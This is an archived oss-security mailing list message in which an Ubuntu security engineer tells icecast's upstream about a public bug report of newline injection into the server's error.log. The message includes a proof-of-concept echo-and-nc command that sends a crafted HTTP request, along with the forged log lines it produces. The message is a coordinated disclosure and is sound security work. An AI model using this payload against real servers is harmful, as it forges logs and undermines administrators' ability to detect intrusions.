Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 15 Dec 2011 12:25:40 -0600
From: Jamie Strandboge <>
Subject: Security issue in icecast

A security bug was reported by Moritz Naumann against icecast in
Ubuntu. You are being emailed as the upstream contact. Please keep[1] CC'd for any updates on this issue.

This issue should be considered public and has not yet been assigned a

Details from the public bug follow:

From the reporter:
"Newline injection in error.log

Running this command against an icecast2 running on

echo -ne "GET /non-existent"'"'"%20No%20such%20file%20or%20directory%0d%
0a["`date "+%Y-%m-%d%%20%%20%H:%M:%S"`"]%20WARN%
20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc -vv 8000
> /dev/null

...causes the following to be written to /var/log/icecast2/error.log:
[2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for
file /non-existent" No such file or directory
[1970-01-01 00:00:00] PHUN I'm feeling phunny

Thanks in advance for your cooperation in coordinating a fix for this

[1] is a public mailing list for
    people to collaborate on security vulnerabilities and coordinate
    security updates.

Jamie Strandboge             |

Download attachment "signature.asc" of type "application/pgp-signature" (837 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.